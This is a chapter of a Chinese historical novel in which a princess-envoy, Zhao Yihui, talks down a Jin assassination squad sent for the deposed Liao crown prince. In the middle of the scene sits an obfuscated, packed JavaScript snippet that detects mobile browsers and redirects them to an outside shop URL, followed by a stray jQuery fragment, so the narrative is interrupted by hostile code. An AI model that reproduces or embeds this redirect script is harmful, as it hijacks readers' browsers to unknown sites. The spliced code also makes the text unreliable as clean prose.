十日后,船渡渤海,抵达原辽国苏州关。
在随行的龚药和许原看来,这次迎接他们的排场与上次登岸后的驱逐押解相比,简直是天壤之别。使团人员登岸后,两侧有兵士分列开道,鼓乐齐鸣,当地旧官员也排着队,整齐地于岸边亲候。
只是何绪却有些不屑一顾,暗中对赵宜徽道:“殿下,这金人也太无礼了些。臣也曾多次出使过辽国,他们接见臣一个小使都能专门派接伴使千里来迎,随行之人并举大纛,马皆披锦。而今殿下亲至,金人不派专人来也就罢了,竟还直接将以前辽国的南面官与仪仗胡乱搬过来,真是怠慢至极。”
还未等赵宜徽回他,跟在赵宜徽身后的辽太子敖卢珂先哂笑道:“你想要一个风光体面的接风仪式,那也得先让人家看得起你吧。”
“你什么意思!”
两人突发争执,听得韩洵不由得按着剑,“啧”了一声。
赵宜徽安抚道:“何少卿稍安勿躁,我想太子的意思是,我天水国与辽国乃故交故友,往来走动时自然是彬彬有礼、不失体面。但我朝与金国尚未有过正式往来,此时两国还不算友国,所以礼数才未能周全。”
“是,殿下所言有理。是臣,臣狭隘了。”何绪边说边揖手道。
“无碍,走吧。”在赵宜徽的调和下,使团一行人终于顺利地踏上了金人领土。
来迎接使团的官员说,二太子完颜宗离正在北地宜州领兵与辽人作战,请他们先于此地歇息一晚,第二日他会派人护送使团启程去往宜州。
赵宜徽从容应下了,可是她心里总觉得有些不踏实。
当晚,赵宜徽在房间里摆好了茶具,派人去请辽太子过来。
敖卢珂不明所以,但她一进门就闻到了一阵清苦的味道。
“康王殿下这是想邀请我来品茶吗?”
赵宜徽没有回头,边敲着茶饼边道:“是。不知太子殿下愿意赏脸吗?”
敖卢珂走到桌边坐下,先是打量着桌上的这些茶具,接着又看了看自己身上的衣服,笑道:“康王这是想把我变成一个彻头彻尾的南朝人啊。”
“你们辽国皇室现如今不是也喜爱饮茶吗?或许有一天,习俗渐近,不会再有什么南朝北朝,大家都是一国之人,穿一样的衣裳,喝同样的茶。”她说着将敲好的茶饼倒入茶碾中,细细碾磨起来。
敖卢珂定睛看着她手上的动作,稍后倾身靠近道:“那你说,这一统南北之人,会是你,还是我呢?”
赵宜徽抬眼,笑道:“或许,既不是你,也不是我。”
此言让人听得不痛快,于是敖卢珂复又回身坐直了看她,“赵宜徽,你真的没有什么野心吗?”
“什么是野心。我为什么一定要有野心。”
“你生来就站在百尺之高的琼楼玉阙,抬抬手就能摘下天上的星星月亮,为什么不做。”
赵宜徽手上的动作渐渐停下来,她看向西窗外漫无边际的夜色,却没有直接回答。
敖卢珂还在颇为费解地皱着眉,可是她还没等到赵宜徽的答案,门外就响起了士卒的喊叫声和打斗声。
两人双双警惕起来,敖卢珂起身就要出门查看,却被赵宜徽拉着手腕给拽住了。
“做什么!”
“你做什么。”赵宜徽说着绕到她面前,“你觉得这外面的人是来杀谁的?”
敖卢珂这才反应过来,“难道辽金议和了?完颜宗离要派人来杀我,好把我的人头当成两国交好的信物。”
“事情还未明了,先别急着下定论。你待在这屋子里不要出去,我去将外面的事压下来。”她说完就拿起长剑开门离开了,留下敖卢珂一个人站在屏风旁心魂不定。
门外,赵宜徽一出来就看见两伙人打得激烈,韩洵的胸前正架着一把长刀,与之交手的人见门里出来一女子,便误以为她是辽太子,于是瞬间弃手,提刀朝赵宜徽砍去。
赵宜徽立即拔剑相对,可还没等她使出招式,便有一支长箭从对面人的颈前倏然飞过,箭尾的长羽狠狠刮了下他的喉结。
他疼得尖叫一声,转头看到了射箭的韩洵。
“殿下危险!快进屋去!”
“你找死!”那人一手捂住脖子一手抬起长刀朝韩洵砍去,韩洵丢弓换剑,再次与之打斗起来。
可不想对面这人刀使得极快,转眼间便偏着利刃从韩洵的脸颊一侧划过,在他玉色的脸上留下了一道醒目的红痕。
赵宜徽的眼睛捕捉不及,当下只是看着阶下的异族之人,她被这些人的衣着给惊了一跳——人皆髡首辫发,身着左衽短袍,衣甲皆以皮为之。甚至可以说,如狼如虎。
但形势紧急,赵宜徽面向所有人咬牙道:“给本王住手!”话音落根本没有人理会她,“若是不想因为你们今夜的作为破坏了两国的结盟大计,就请立刻缴械停手。”
对手闻言终于停了下来,与韩洵交手之人趁机拿刀指着她道:“你是废太子,还是南朝来的皇子?”
她知道这人便是为首者,于是挺身道:“天水国皇子,赵慎。”
“辽人的废太子呢?”
“在屋内。”
那人闻言便朝着赵宜徽的方向冲来,赵宜徽道:“你若是这般草率地杀了她,三国之局必将因此发生剧变。”
那人闻言顿住了脚步。
赵宜徽了然于心,冷笑一声道:“我猜,你不是完颜宗离派来的。你这样做不怕有来无回吗?”
“少给老子废话!你们南朝人惯会使诡言诡计害人。”
赵宜徽提高了音量,“请将军扪心自问,我说的难道不是实话吗?我猜派你来的人,必定是跟完颜宗离政见不和,但是又不能明面上跟他撕破脸,又或者说是不能明面上忤逆皇帝。于是他便让你此行不动声色地除掉辽太子,先斩后奏,再以此作为筹码促成与辽国的和谈。对吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893271|212785||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“但是眼下这个计策已经失败了,你们串通当地官员,埋伏在辽太子居住的房间附近,却没想到扑了个空,没能在我的眼皮底下杀掉她。如此,此计便已算不成了。难道将军还执意要在计划失败的基础上,再替你的主子在明面上得罪完颜宗离吗?”
这为首者听后十分震惊,没想到她竟能在瞬息之间将他们国内之事猜得八九不离十。而且他也不是个认不清形势的人,如今他们暗杀不成露了马脚,被汉兵围困在这院子里,已如瓮中之鳖,与其拼命去做一件有可能帮倒忙的事,还不如先想办法保全自己的性命。
赵宜徽见他有所动摇,接着道:“我不是你们金人,不懂你们国中的帮派与争执,所以也不想插手你们跟完颜宗离之间的事。当下,若是你们肯就此罢兵,不再打敖卢珂的主意,我可以保你们平安走出这个院子。”
此人看着赵宜徽,脸上颈间全是血迹,衬得整个人多了几分阴森之气。
可是他却随即拱手退身,口里低声叫了一个“喏”字,跪右膝、蹲左膝,又用两肘带着袖子晃动了几下,才道:“拜见天水国殿下。”
余下金兵见状便也跟随他一起行礼,喊道:“拜见天水国殿下。”
赵宜徽微微颔首,道:“诸位请起。”
*
金人退去后,院中的护卫们也散去治伤了,赵宜徽见韩洵迟迟不走,于是便走下台阶。
“你没事吧?”她上前仔细地瞧着韩洵,攒住了眉头。
韩洵将手中带血的长剑插在地上,突然跪下揖手道:“臣扈卫不力,使得贼人进院惊扰殿下,最后还让殿下出面替我收拾残局,臣罪该万死!”
赵宜徽立刻去抬他的手臂,“你这是做什么,此事是当地官员勾结金国朝中之人所致,你反而是扈卫有功,我怎么能怪你呢?快起来。”
韩洵却岿然不动。
赵宜徽佯怒道:“你若再不起来,我就不让人给你治伤了,让你脸上这道口子长久地养不好,留下一道长长的疤,变丑变难看。”
韩洵闻言竟真的一手捂住了自己的伤,有些胆怯地看向赵宜徽。见他如此,赵宜徽忍不住笑了起来,而韩洵的表情却更是为难得紧。
“好了,快起来了。”赵宜徽拉着他另一只手,终于给人提了起来,“要是真这么在乎你这张脸,方才为什么要往那人的刀刃上撞,现在还不赶紧去找军医拿药治伤。在这儿跟我耽误时间,回头真落下疤了,倒还要赖在我头上。”
“是,臣这就去。”
赵宜徽看着他捂脸而去的身影,觉得有些特别。正当她站在原地笑着看他的影子时,身后一人道:“这么个美男子刮伤了脸,心疼了?”
赵宜徽转身去看,果然是敖卢珂。
“若不是因为你在这儿惹来金兵,他也不会受伤。”
敖卢珂却笑道:“这你可就错了。他死命相护并不是因为我在这里,而是因为你站在他面前。”